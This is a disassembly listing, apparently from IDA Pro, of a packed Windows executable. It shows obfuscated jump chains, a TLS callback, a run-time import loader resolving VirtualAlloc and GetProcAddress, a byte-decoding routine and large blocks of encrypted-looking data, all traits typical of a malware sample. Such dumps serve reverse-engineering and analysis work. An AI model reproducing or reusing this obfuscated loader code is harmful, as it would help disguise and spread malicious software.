hjohnhn9:00429101j push offset sub_4275F9 jmp locret_428DA3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429094: ; CODE XREF: hjohnhn9:loc_428368j cmp dword ptr [ebp-8], 0 jnz loc_427A11 ; START OF FUNCTION CHUNK FOR sub_426354 loc_42909E: ; CODE XREF: sub_426354:loc_426E07j ; sub_427A07+4j call sub_426354 loc_4290A3: ; CODE XREF: sub_426523-285j jmp loc_42875B ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4290A8: ; CODE XREF: sub_4263E3+8E0j push offset sub_427FDD jmp nullsub_108 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ror ebx, 1Bh jmp sub_424361 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_4290BA: ; CODE XREF: sub_425BF2-A6j ; sub_425BF2:loc_427260j push 0 push 0 push ebp mov ebp, ecx xchg ebp, [esp+0Ch+var_C] call sub_425CB3 loc_4290C9: ; CODE XREF: hjohnhn9:004273ADj jo loc_4281A3 ; END OF FUNCTION CHUNK FOR sub_425BF2 ; =============== S U B R O U T I N E ======================================= sub_4290CF proc near ; CODE XREF: sub_4241F3+Fp ; FUNCTION CHUNK AT 004246A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426F70 SIZE 0000000D BYTES xchg edx, [esp+0] pop edx jnz loc_426F70 jmp loc_42807E sub_4290CF endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_4290DF: ; CODE XREF: hjohnhn9:loc_424922j ; sub_4244F5+54Cj jmp loc_42439F ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- loc_4290E4: ; CODE XREF: hjohnhn9:0042399Dj jmp locret_42335B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test ecx, esi jmp loc_423604 ; --------------------------------------------------------------------------- loc_4290F1: ; CODE XREF: hjohnhn9:00427845j pop ebx or eax, 0BA9D7AC2h rol eax, 0Dh and eax, 6F6E6B99h jns loc_429089 ; START OF FUNCTION CHUNK FOR sub_42851A loc_429107: ; CODE XREF: sub_42851A-1B2Ej jmp loc_424A07 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- push ecx jmp loc_429083 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_429112: ; CODE XREF: sub_427C9B:loc_42451Cj push offset sub_4275A3 jmp nullsub_97 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42911C proc near ; CODE XREF: sub_424771+6j retn sub_42911C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42362A loc_42911D: ; CODE XREF: sub_42362A+10j jmp locret_426FC1 ; END OF FUNCTION CHUNK FOR sub_42362A ; --------------------------------------------------------------------------- dw 890Fh dd 0B8A15B77h, 5E3195A3h, 8EEB8AB8h, 48ECh, 3B3h dup(0) hjohnhn9 ends ; Section 5. (virtual address 0002A000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 0002A000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute fzj3qwht segment para public 'CODE' use32 assume cs:fzj3qwht ;org 42A000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing db 0CCh db 0A0h, 2, 0 align 8 dd 0FFFFFFFFh, 2A03Ch, 2A0B4h, 2A108h, 0 dd 0FFFFFFFFh, 2A0E8h, 2A104h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dword_42A0B4 dd 77E79F93h ; DATA XREF: sub_432992+28r dword_42A0B8 dd 77E805D8h ; DATA XREF: sub_432992+37r dword_42A0BC dd 77E7A5FDh ; DATA XREF: sub_432992+8Er dword_42A0C0 dd 77E75CB5h ; DATA XREF: fzj3qwht:0042FE57r ; fzj3qwht:0043174Cr ... dword_42A0C4 dd 77E7980Ah, 77E79E34h, 2A04Ch, 2A060h, 2A070h, 2A084h ; DATA XREF: sub_432AFD+1Eo dd 2A094h, 2A0A4h, 0 dd 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h, 786F4265h dd 41h dword_42A104 dd 77D6ADD7h ; DATA XREF: fzj3qwht:00430CDAo ; sub_432A49+64r dd 2A0F4h, 0 TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex dd 0 ; DATA XREF: fzj3qwht:TlsIndex_ptro TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: fzj3qwht:TlsCallbacks_ptro dd 0 ; =============== S U B R O U T I N E ======================================= sub_42A134 proc near ; CODE XREF: sub_431F5F:loc_4311F0p push esi push ecx mov esi, eax mov ecx, edx sub ecx, 4 cld loc_42A13E: ; CODE XREF: sub_42A134+21j lodsb shr al, 1 cmp al, 74h jnz short loc_42A154 mov eax, [esi] bswap eax add eax, ecx mov [esi], eax add esi, 4 sub ecx, 4 loc_42A154: ; CODE XREF: sub_42A134+10j dec ecx jg short loc_42A13E pop ecx pop esi retn sub_42A134 endp ; --------------------------------------------------------------------------- db 8Bh, 0C0h dd offset dword_422000 dd 200434Ah, 0 dd 47BC0000h, 111D2091h, 0B00A1208h, 41D80008h, 0DFA49ED0h dd 0F41630A3h, 13EB709h, 0C84F4287h, 74138925h, 5D84A3C9h dd 5268E94Ah, 2011F980h, 62020E34h, 15B9A915h, 198C0C1h dd 0BA303B90h, 608A0022h, 152E8584h, 0A7141AC3h, 0E6528B52h dd 6244A64Ch, 0AAC5EA21h, 90356825h, 9112A14h, 0CF50B25Bh dd 402FA6D4h, 28B4EA55h, 0C618A7D3h, 80C01AA9h, 9554AA74h dd 305D24C1h, 66BEF07Eh, 94CB5738h, 0D15B9C00h, 0E45C7D84h dd 82074D8Ah, 2DD29DE6h, 0DF63147Bh, 245CA06Ah, 90203764h dd 1690DDCCh, 76BA516Fh, 0E8764703h, 0CBD20C59h, 5205C3C6h dd 82D4C9DEh, 4804B48h, 1FBAED06h, 8829270Bh, 0CEE1DD0Ah dd 0DB8E1BBDh, 916072B4h, 2244D98Eh, 1DDCh, 0 dd 30000000h, 434A0042h, 6132h, 0 dd 20E078D7h, 4C611F97h, 0A7FE4B9Fh, 65E192C5h, 0D17E9892h dd 9E4C6E17h, 0B7FE0400h, 24F002CFh, 0BA2DC301h, 9D2D9C05h dd 7465D2D8h, 0E98246D1h, 3E985088h, 81AE82DDh, 0FDB1180h dd 0D17F0098h, 5383E085h, 22EDEC6h, 72990B86h, 427930FCh dd 255E8644h, 89D8A1D9h, 9D50A413h, 3FA8742h, 6C37C079h dd 0F8E83175h, 88C0D561h, 703D3EB5h, 0C683EACEh, 0C3F157A8h dd 611126DBh, 4EAB781Fh, 5CB25190h, 0E717F9FDh, 0AFB2DB69h dd 7E5E0387h, 73BB830Eh, 9F710FC2h, 0C125A11Fh, 0A6E6DA2Fh dd 0DC4F97C7h, 0FCBFBF0h, 781CF99Eh, 48127E1Fh, 981F5703h dd 0C28EE474h, 13EF401Ah, 6D676D20h, 94D1E4AEh, 0C2500D49h dd 5C110CC8h, 24EA3F18h, 79E492BFh, 68A4CA62h, 17BADF07h dd 87024B99h, 6BAADA39h, 0C79AFF2Dh, 0F338AFE0h, 8D008B50h dd 979C4D8Eh, 0A297BA22h, 0DDA9ADC9h, 0E2F9158Ch, 0F276BA6h dd 0EA67B824h, 9B593D7Eh, 605EED61h, 0EBB8B82Dh, 42721D10h dd 9E05A363h, 48107EA6h, 0D627F801h, 0DDE4171Ah, 4F015004h dd 8E311E1Dh, 46D121BCh, 0E92D80A3h, 0E5C6A880h, 7E2A07E9h dd 58BC84E1h, 0A0A045E7h, 4EF03EAEh, 7129D7Ah, 6B232D29h dd 0ABEB2D12h, 0DC632117h, 0F50F0841h, 0E885980Dh, 0F4B5A6B9h dd 3D18A697h, 36B45FE5h, 3164606h, 300A3F5h, 9CF0C7DBh dd 7FEE015Fh, 0EE5F0F0Ch, 92565B8Ch, 0CF28B880h, 0F18A227Bh dd 0EC0B3D99h, 7C3F1BACh, 94824607h, 0E278974Bh, 2553CB81h dd 6846796Bh, 80338D99h, 0D2D43B6Eh, 0C5B41C3Ah, 0DDFE4585h dd 0BCD1A003h, 3D7E3D77h, 865FF1B6h, 0A0DCEFADh, 78935ADEh dd 1E39246Ah, 939143C1h, 0D15BD4F0h, 4363BA0Fh, 0EA89D752h dd 0DA2195C9h, 987BEFF4h, 585E034Bh, 98A8F01Bh, 0FD3F1F7Eh dd 0C59A7BB3h, 0D2822436h, 0AA834CA7h, 47701259h, 0C015F3FBh dd 94C30142h, 2D3440Dh, 89004DE0h, 0E86A1591h, 39E5FD00h dd 0C7D58A01h, 5FE5E383h, 0C8876260h, 0BA899D08h, 3DF6F444h dd 0B6393534h, 48754386h, 143B5D46h, 0F851459h, 4515059h dd 524B151h, 0CBFBDEB8h, 0D0131C22h, 0B22E7351h, 930C3CD2h dd 4836D4DEh, 1E2CE558h, 0FF8E7317h, 0BFD7B03Ch, 6FB686B3h dd 47055DF4h, 9262A378h, 21BAFC4Fh, 0EAD0FC6h, 6CA6E1E1h dd 0F7EB3671h, 0A99AF361h, 0C96B6623h, 6DAFD0E2h, 0C22BF9C6h dd 31D99C6h, 0C222B1A1h, 87EBEB6Bh, 0CA551FC3h, 53E8529h dd 0BE89469Ah, 4DEC057Dh, 0D4F30F1Eh, 81992359h, 0B4F548D4h dd 713EC53Eh, 28414528h, 9BCBD4ACh, 60E70B2Fh, 0D718D84Fh dd 0FAE2150Bh, 511151F8h, 2CC460F0h, 210FA294h, 0B5D1FBA2h dd 0A369F0E3h, 0B5D3BCF0h, 7CF1E021h, 0DDF7B0F0h, 4925602Ch dd 7C530A8Bh, 7186E21Ch, 7809250Bh, 258E0FDCh, 0EC38F55Bh dd 406DEA9Fh, 8394EB91h, 221F7B89h, 0A78AF5FEh, 22C03F03h dd 8EE6A90Dh, 0B0E99832h, 0DA47F033h, 0E81A7797h, 9350019Fh dd 6D49CBA3h, 16018031h, 0D81512AAh, 3BA1488Eh, 0E91F882h dd 2C67395Eh, 17AAC21Ah, 3D22783Bh, 0EFB208D9h, 24993083h dd 0A1DFB562h, 6A2FA18Bh, 0A2F9281Fh, 567900Bh, 7DD5D416h dd 0E0BE39B8h, 79AA6540h, 292AB8BFh, 601CF9F4h, 8DC64AA9h dd 82C8674h, 6895A71Dh, 0AD9D8C2Ch, 74728029h, 0EFEEEB35h dd 0D126D147h, 4178F374h, 9CD5AC40h, 2DEF6731h, 4471145Fh dd 0BDA2C98Dh, 6ED6E06Ch, 0DA2D3138h, 0E73F0532h, 0BEE1BD1h dd 0C6E0C072h, 510C0FDBh, 813E0308h, 1A93C9AFh, 0AB61E592h dd 458A4892h, 1A44ED1Dh, 88057AFDh, 0F4B3DEE5h, 824E2C82h dd 11EB5AB0h, 0C918E8B8h, 0D57FBDF5h, 573AAF1Fh, 6CC37ACDh dd 156E4BA5h, 0EDD7014Fh, 3F158BECh, 235EE66h, 63135DFAh dd 540F7041h, 979B36D1h, 0FA3CE5FCh, 0D1EBE44Ch, 7D375D9Ah dd 0CF374410h, 0BEB9068Fh, 0A1526693h, 0DE02F1DFh, 42D399A6h dd 0DE54EA36h, 882525ADh, 9B990FCCh, 0ACE0703Ch, 0B53B1E37h dd 16F018A1h, 0D9109523h, 6CE2C730h, 779520A7h, 26E0DDDCh dd 7D52F24Dh, 0B03CFC45h, 6B4FE679h, 0F124B07Bh, 0D6A5AB8Fh dd 851B6BA5h, 0DA353A42h, 2B2778DEh, 0ACB733A0h, 5FCD39D3h dd 0C6FB4DECh, 4A7405FBh, 0B6C968Dh, 750066F7h, 0DB591F09h dd 0C29AE2A3h, 60B3D25Ah, 3C76305Fh, 0D67F5B74h, 1BBE3BC6h dd 7DA81F9h, 8829086Bh, 0E8887FD5h, 1F12B20Ch, 0A526C36Dh dd 573E79E6h, 0E6EF63C0h, 0FB47447Ah, 0BC99F001h, 7DB73DDh dd 73F83B38h, 0BA8467A2h, 0D123E8D2h, 2C272459h, 6693A555h dd 0DF5E512Fh, 0A50E1F8Fh, 0C45484D2h, 0B606567Fh, 40CAF087h dd 0A4BCD6A8h, 1EBC387Eh, 3303576Eh, 86E6CEDAh, 9AAF158Ah dd 29339187h, 41897A9h, 614950EAh, 0F46221E4h, 0F5AB7C18h dd 5EA81AEAh, 0E50F5458h, 0BF2AC18Dh, 0CB22B351h, 0F080A109h dd 0AB237EE5h, 781F8D77h, 2F2A9917h, 0E0FF6F7Ch, 0DF8185Fh dd 4AF8ABC8h, 4BEA3B69h, 36260359h, 0C2E8540h, 0FF022204h dd 3B52AB3Eh, 0D68FE1F1h, 0A3DD446Ah, 0B5A1ED1Bh, 15396841h dd 45B0AD57h, 0DA70C25h, 0AA828607h, 0D14DD5D9h, 6B4F415Dh dd 9A8E8FE1h, 8A0C0C1Ch, 0F4069CA6h, 39D3846Fh, 76D548E2h dd 73968FD3h, 0CBFDF0D6h, 1F068141h, 8AA6E13Ch, 6B9DC1F3h dd 4554BB2Dh, 0BFA6BD84h, 0E6A27314h, 0A68A7DFAh, 552B4522h dd 0B5AEB814h, 0C0F2895Ah, 0B353C2FEh, 0AF0EEEADh, 0E2FC22Fh dd 75D47F43h, 47A54A6Dh, 945B51B4h, 7DD99F48h, 394DEE34h dd 36CB70DCh, 38685A2Bh, 0A69AB1BCh, 0F170966Fh, 53F0A90Eh dd 7C282D04h, 0DCBE136Dh, 2129700Ah, 0FB326A20h, 111C4BCAh dd 9C3B44Bh, 0E88197E1h, 0CF82842Dh, 66837791h, 0DADD961Dh dd 39331E35h, 0BEA60ABFh, 49F6EAE1h, 8A97AD3Fh, 8B59853Ah dd 3C988268h, 0F3FD1A28h, 0E755E429h, 4C2F72Ah, 4D088A18h dd 0B360297h, 0DDE2E07Bh, 1B0ADDFDh, 0CBD8A637h, 171901DEh dd 0D711A0D3h, 0BFCF4B4Dh, 67AAACBAh, 0C05BD9F8h, 0AB2F279Ah dd 84B64D4Dh, 790E8206h, 773C6279h, 0B76DD526h, 8D25F2B4h dd 62C9080h, 0CBDCAA28h, 0B8017019h, 7A36B8BEh, 5374CD6Eh dd 4D6D75FFh, 6AD057AAh, 0C825DBFAh, 0F28F05EEh, 9E85A0D6h dd 1C33F996h, 0AE0FAA09h, 81EBC2B3h, 9358081Ch, 0FE7EAB13h dd 91D98881h, 0F92FEA82h, 32CA9084h, 74E95C9Dh, 0A37C9E9Fh dd 0D47FA9FFh, 2FE1CADFh, 0BF0B60DEh, 0C02C7C3h, 0C4C17546h dd 0EB791541h, 6E738C03h, 3E506DD6h, 0F6069B41h, 0EF3D3999h dd 0FB85D20Fh, 81EB70A4h, 0D8FA925Eh, 88F2DE95h, 42D1F0F1h dd 6673558Ch, 0F03D053h, 0B3FDA916h, 0DE43E6D7h, 259448AAh dd 5CEE5E07h, 87619842h, 940CBD6h, 0F1738C1Fh, 1BA5343h dd 8173268Ah, 0D551B612h, 0E187849h, 4EC13135h, 85A04FB9h dd 4812A2A3h, 6AA163D2h, 0B65E6FB9h, 0D0FC4C72h, 2AA81098h dd 3E228B89h, 0F9DAEF4Ah, 2A4C39A2h, 0ED4BE39Ch, 1610EF8Eh dd 421F8DB3h, 0C440BF73h, 13C38FE7h, 0DB3318CDh, 59713110h dd 3ECB43F1h, 0F47FE010h, 44FE006Bh, 0D1FCE079h, 0D92CC52Bh dd 0F85F8DA1h, 9ED9A02Ah, 0DCADF5B1h, 0DA32F4B7h, 18DB639Ch dd 0E0F263C7h, 0E817403Bh, 0D0E76774h, 5F643F05h, 8198A824h dd 9F02940Bh, 240C0F01h, 23E90F51h, 0B4FB2971h, 29CF41D5h dd 0B3686F11h, 50E050FAh, 0B46895A5h, 9B7B5C6Bh, 0F4F857CFh dd 0FA2A15B8h, 0C6DCB9A8h dd 318D2E0Ah, 6B119C0h, 0A0477370h, 0A4BAD5B5h, 35CAA222h dd 8186269Ah, 87A10E66h, 5D500937h, 5F6C1407h, 9EB3729Fh dd 39D43F15h, 0C2A083F8h, 34CF2E9Ch, 62891434h, 97EE2CA6h dd 0B16481A8h, 5F990B45h, 8B9F8AA9h, 0BA671DAFh, 3C1E925Fh dd 973589CBh, 7725FE7Bh, 3D443A3Dh, 3EEA8FEh, 7BB415EAh dd 0D04AEE2Bh, 153B41B3h, 0B2FA442Fh, 0BC06BDB9h, 0B43F0983h dd 8B87BF7Ah, 3A241408h, 923693EFh, 81F55E39h, 916CE28Eh dd 25BA9CBDh, 0A1572040h, 0BFEC3CA3h, 0E1EE561Dh, 2D139939h dd 2FE57B02h, 72FD96AFh, 0E5143D2Ah, 399BFC68h, 0C32792Ch dd 7DDE38Bh, 101712FAh, 9A181E2Fh, 97F9DAA0h, 3411FDC5h dd 46688D53h, 6D30F015h, 0E214FACAh, 30BD8099h, 0FB7C2ACAh dd 379F9AE7h, 0F5D052FBh, 0C16B2B45h, 0CB9D0998h, 0C1D09537h dd 53F50846h, 0DD448337h, 7B2ACCBDh, 26DFA976h, 79F16AAh dd 0D35684B6h, 3FC44D0Eh, 0C805777Dh, 1A9E2FBEh, 0E8881671h dd 0BAD62C88h, 64F5495h, 0A3E152A3h, 0DC9AA604h, 0D3B22C18h dd 0F43B3D5Dh, 8B1AC72Bh, 76BF7503h, 9C3B452Eh, 0B8E11B4Dh dd 0DE31941Eh, 2D54C3D5h, 0B81CCFC0h, 2CDE6C92h, 5FEEF896h dd 0F826789Ah, 17C0BAE4h, 950853B8h, 35C1F414h, 3333C30Ah dd 0B285663Eh, 0EB0446D7h, 1D1F5ADDh, 0A2957FD0h, 0C32B5C1Eh dd 145703E2h, 825F7FD0h, 52FF2D37h, 0E6F710FBh, 0F08A2D14h dd 0DA5C4627h, 3B802DAh, 0CCC7802Fh, 0DDDD925Ch, 0CA41E561h dd 0AB6BF5FBh, 0F0C8C802h, 6FB56450h, 0EC9F7E40h, 8237CA03h dd 5E9EC0F6h, 33B4A3B5h, 2B3D68ADh, 0D9FF7AECh, 3C39C7ABh dd 82291958h, 0C65FBC97h, 0CA3C738Bh, 92F2D7A7h, 0C05BE37Ch dd 762C3424h, 34340591h, 2C5AC409h, 0A474FDBDh, 0CA5B980Fh dd 0C09C97C1h, 0E5656F08h, 10A9148Eh, 0F55873E2h, 0DB2E539Ch dd 6236C7AEh, 0CB456ADEh, 0A00B7F73h, 1809C7ACh, 377417A5h dd 0EBA695A0h, 49DC40Ah, 355A51EDh, 1B0E9F26h, 0F0B289CBh dd 84E34E21h, 0F3EDFBB8h, 32F5974Fh, 0B45B08DAh, 27EFC1BCh dd 0D6B45A6Bh, 0ED0E5066h, 9762A30Eh, 625F0E93h, 0D55F5359h dd 80C267C0h, 14FA60Eh, 0FA646BBAh, 0DBE5370Dh, 81B70AD3h dd 0C3A0E1CCh, 0FB381F1Fh, 96FD8958h, 708899F8h, 0EDFB9F29h dd 0B02CFFBDh, 4D9A5DE5h, 0FCE4DDDh, 0A8707911h, 0AABB4CDDh dd 0EF607CFh, 73994661h, 2F1352B5h, 4324ED93h, 0DC4C602Eh dd 626BAE6h, 0B695990Dh, 8E748508h, 9F140D79h, 0BE2C0F4Fh dd 0CF96A75Ah, 0A1F88E24h, 0F013267Fh, 74BD502Ah, 0BDA3ABF0h dd 0E347D612h, 0B17FDAEEh, 7EFB429h, 93E092E3h, 0C78562CDh dd 2D90C492h, 0D5E55590h, 6D773AEDh, 507AE4D6h, 0D0259982h dd 0FE899EF6h, 0E968069Fh, 1DC70BD1h, 79AA9436h, 237C1CA3h dd 2E711400h, 0A0F4150Bh, 4A4B0C4Bh, 51DEDE0Fh, 0A63DC4CAh dd 0E8C101FAh, 29CFB71Eh, 15D5595Ch, 0F8F82793h, 0A285F835h dd 39054B74h, 5FF363B3h, 5DAEAB5Fh, 4FD292B4h, 401D3D29h dd 0C820FCA7h, 0E7BC102Ch, 5D57D852h, 0A51C8197h, 50F13458h dd 987E1BCBh, 2F71E4C3h, 0D7264D86h, 968F4562h, 77E5F303h dd 2F2AA6DFh, 0C9FDD935h, 31BBFD50h, 0CEA154A5h, 676025FEh dd 1FEFCCC3h, 6A0918DBh, 0D919DBA0h, 0DB4AFE8Ah, 31379789h dd 3BF9AD59h, 62D6A182h, 8F3EFEh, 741E7095h, 0DFDA36AFh dd 7A3FBCD8h, 0B2A80165h, 0A928DA7Eh, 0C42FE581h, 0E161365Dh dd 9D129D06h, 0FB2321C0h, 3CD4D19Ch, 0D6E3E48Ah, 69655C1Eh dd 5450087Dh, 51E0DCF6h, 542AC0BBh, 0E28925F2h, 0D6BF2725h dd 62B368C6h, 0CF04AFEFh, 0C56D1206h, 0EDD4DC09h, 8A86F980h dd 89285AC0h, 93E15268h, 0C0FC8A20h, 3284EB3Dh, 5BD15E1Fh dd 0AB31C886h, 894FE113h, 53EC029Fh, 3471CC58h, 0FC0C057Ch dd 0F86E1FDFh, 0AD0FC1F5h, 540C4C47h, 0C63C8707h, 9B17358Dh dd 0B4491700h, 0D9A1AFE0h, 4AEE7FB6h, 88C7AAFDh, 5152EEA3h dd 5FF7986Eh, 978F812h, 1DB54A61h, 6A0C1C35h, 294BB851h dd 4F5D8653h, 8DF96B9h, 0EDF6F26Eh, 0D7B38AD2h, 0D5B2E432h dd 76F8781Eh, 949FDFB1h, 0D7018EA9h, 4B82AF52h, 6C46E952h dd 61F8A97Ch, 982FF97Fh, 4747C86Ah, 0B60073A0h, 0D380A9BDh dd 53C6A9C0h, 0D86CA454h, 6B45C5D2h, 39B47A0Ch, 0F97E873h dd 0F1D250E1h, 0AD114B7Eh, 125F5A51h, 3CC37DBDh, 1F12F98Bh dd 8265A37h, 3BCFCDD1h, 50D0E463h, 0B81A42FFh, 684D8495h dd 0F9F1B53Dh, 151E18EFh, 79DA709Ch, 9246DA1Bh, 1B553C42h dd 0D8BA3E44h, 80B7783h, 23C73993h, 40BEA125h, 0CF5118A5h dd 5150CCD4h, 0AD1E68DCh, 4FCEB6BDh, 0BBCEA896h, 520925E8h dd 0BA72EB57h, 82FC8ECDh, 3895C818h, 4A5A5A64h, 0D0E3363Dh dd 77204039h, 0D9FBB174h, 3303722h, 0E9549D1h, 0E6D8ED4Eh dd 82FE8FB1h, 0C1F54170h, 3D9D4C96h, 8BCB12EBh, 4DA20533h dd 6C66F8D9h, 383E25C9h, 0DBAB3E87h, 0E3336F2Bh, 98BF819Ch dd 4CA9651Ch, 0F93F6255h, 22BD050Fh, 6039EE18h, 7BE6579Fh dd 121EAF42h, 0B3C100B3h, 5E541B95h, 4984EFE7h, 2A189F03h dd 4125FC32h, 6B5839ECh, 0F2DCADCAh, 9C89F385h, 55547A4h dd 0FCF30FE0h, 312ACC24h, 0FF0AF42h, 0A60F8128h, 78F1BAB7h dd 0D7A1C550h, 0B4B45D2Fh, 8D28DD5Bh, 0C383CA14h, 0E11904ADh dd 67F96102h, 0EC242EDFh, 0B78A2581h, 0E0C23ED2h, 0DF03B0CBh dd 76A44A25h, 97C90236h, 0C2E5C1E7h, 0C71E8694h, 262AD444h dd 3ECD4450h, 1C236B7h, 0F9556F24h, 0D9B6C1BBh, 76731B15h dd 19D8F964h, 5678C039h, 7ABE6A92h, 0EBF2769Dh, 4D8DB41Dh dd 7F5B5B47h, 46FFA1C3h, 0A91E7DA5h, 753E463Fh, 83C68982h dd 94E717C7h, 0AFE07C17h, 0CC85BF31h, 0F7E02A75h, 0E14A5AA8h dd 119F097Bh, 9D568CFBh, 0A0ACA0FDh, 6890BA62h, 367FB9C3h dd 5935206Bh, 5D27BABBh, 3B5C1642h, 59C7106Fh, 0E766BD66h dd 0E391AEC8h, 1176502h, 0C5D2E78Bh, 0A6617844h, 33314974h dd 0D8CBFBA5h, 0F37BE8CAh, 4E9C2843h, 5ED18C0Fh, 6E7725C2h dd 0F85692B8h, 0C099E290h, 83DE9FB3h, 81E972A8h, 9D0FA2D8h dd 0D7E9B4D3h, 1A053F5Dh, 0F040655Fh, 1B8C0F3Eh, 5B8989F0h dd 5E01B936h, 88E4F556h, 0FE68362Ah, 9BF5587Ch, 2D55FBF4h dd 0FD407BF6h, 9CC8C357h, 675123C3h, 0E0F8614Fh, 1E4BB48Bh dd 34F9E89h, 68D9C8BDh, 9AFADE07h, 0C7A0D943h, 0AB45F867h dd 0B4D348E0h, 2EF82F76h, 63B38A6Ah, 0E87C6717h, 4DBE5E1h dd 0C4A806DBh, 9725AEDh, 0B0252C0Eh, 9FCD62A8h, 54647Dh dd 0EA42DCD1h, 0DE1AAC6Dh, 6C35BB8Fh, 656A84B1h, 627AE200h dd 2BAFD98Ch, 0B42D71B5h, 0B07E0744h, 0D3D8F1F1h, 38796FFh dd 42C59FCDh, 6F52D022h, 88A2A4ABh, 2D25417Bh, 42FAFC1Ch dd 9FCD9485h, 58712763h, 39ECB474h, 0EA2A37E1h, 0F0B258F8h dd 0FC3C56DDh, 9F8565F0h, 0B2EF7E97h, 821B7B57h, 0C0F03D64h dd 61B8E02Dh, 0DDFCAAD6h, 8BC5EF7Bh, 0CBAF29B6h, 42F03E6Bh dd 2D462AABh, 79DEFB3Ah, 94AA36E1h, 0C395BD83h, 7B1C4CE0h dd 79F1F106h, 82AF68A4h, 0E4B55C77h, 1A5BE7EFh, 9DAAC797h dd 52C90BFCh, 0F04E4615h, 0F9A57C6h, 0E7C65180h, 57B9C807h dd 9D16CF13h, 0D8ACD6F8h, 7A17CC8Bh, 144658A0h, 2A78BAF8h dd 1E36F39Dh, 0EF92E260h, 0D5EE188Fh, 58D7BBC7h, 2AADD431h dd 6BC4C2C2h, 0BD80618Bh dd 578293ADh, 1C06D511h, 62523EFEh, 3770B386h, 6FA3EE8Ah dd 29EFBDACh, 38581DA1h, 326A0591h, 75DA8C9Dh, 0F7DC55A9h dd 27B173D5h, 42F6D5C1h, 0BD02EBE7h, 54970A40h, 0B07C2821h dd 65470BA5h, 7E315802h, 85BACD73h, 6F4BB025h, 0BB5FA2EFh dd 6C30423Bh, 50B430BCh, 14B6A597h, 3052D1F2h, 7C106DCDh dd 0DAD44713h, 0E2A8C4F9h, 0C063A783h, 0A9552BDBh, 7F74F858h dd 0BE96148h, 0C205E91Eh, 3B5B1012h, 2FC7A959h, 57276FAFh dd 940A3E8Bh, 0C5B018EFh, 20AA8834h, 4EA85609h, 0FC0CC4Eh dd 84829224h, 217AF136h, 0E82B6C6h, 0A02BADFh, 7244BBE9h dd 68E5181Eh, 3D9B3BC3h, 0C597F7D5h, 0E8DF2831h, 7F3CAFFEh dd 7E076887h, 0DE576136h, 94E1EBA3h, 9EBFBA8h, 0F412BFFEh dd 0A5DDA5B8h, 4788A528h, 0EC48D694h, 700ED175h, 57A5D487h dd 0E0B25085h, 0F2F11ABAh, 69F7509h, 0BE4B54FDh, 2F8CCE4h dd 0F54236F9h, 0EEAB581Fh, 978BBB03h, 95F0784Bh, 3ADBB8D2h dd 0CD5740CEh, 3B09EB51h, 61BC1CAEh, 19F88FDFh, 8B79DD59h dd 66E073A4h, 87BDFCC2h, 59B7A041h, 85B3E168h, 0D9DCA842h dd 0A7F9C0F2h, 0F3315E7Dh, 0A206A967h, 7B366662h, 0D2ADBDBAh dd 0B3C124D6h, 0C7C64D1Ah, 0A4544BF8h, 76990CC9h, 403E291Dh dd 0A9C79C15h, 0BFB925ADh, 2588059Eh, 289607EDh, 0F4E7FCFCh dd 5FDC7A2h, 0BA2E897Fh, 347F1178h, 0F1AC3273h, 26F32DF3h dd 0F4A36CF8h, 4A0FDDBFh, 20EF35B9h, 60A0BF14h, 0BCB55DF1h dd 6E51C812h, 3EA2521Ah, 0B411A1ABh, 818DF953h, 98547B0Ch dd 0DD61053Ah, 0D849075h, 7865224Ah, 1115A7C0h, 16B56D3h dd 0C654A53Fh, 88968ED6h, 0D75DE42Dh, 0EB70DF2Eh, 555165D7h dd 2274E780h, 2A4AC1C1h, 0E6C7541Bh, 2FB7CAAEh, 0D2D1BC98h dd 47E9F02h, 0D3A4E28Bh, 0C3BBA67Bh, 0BE85150Dh, 0AF8218DDh dd 92D32DC0h, 0BA38F52Ah, 0DD75A25Fh, 7E0CBDFDh, 0F0F7E456h dd 771AE50Eh, 0CE33D8E4h, 0AF96A97Bh, 7AE5CD12h, 70703E82h dd 0F16BCC6Ch, 0BFC3DD12h, 0B5AFC6E4h, 3FDF22B0h, 34F2E11h dd 50703EDCh, 0D05C54B1h, 4E14525Bh, 46FD7AA9h, 0BA5AAAE9h dd 0C93C8625h, 0E7AC6079h, 1DCA3533h, 8CDF07EFh, 0F00A90BFh dd 501C4BCEh, 0DB66A103h, 0AF3A3E38h, 0BF7D7CA4h, 1720ADAAh dd 0DBE8D0F2h, 0EDA7CB3Eh, 2542D1ADh, 0B5029A9Ah, 82C1E696h 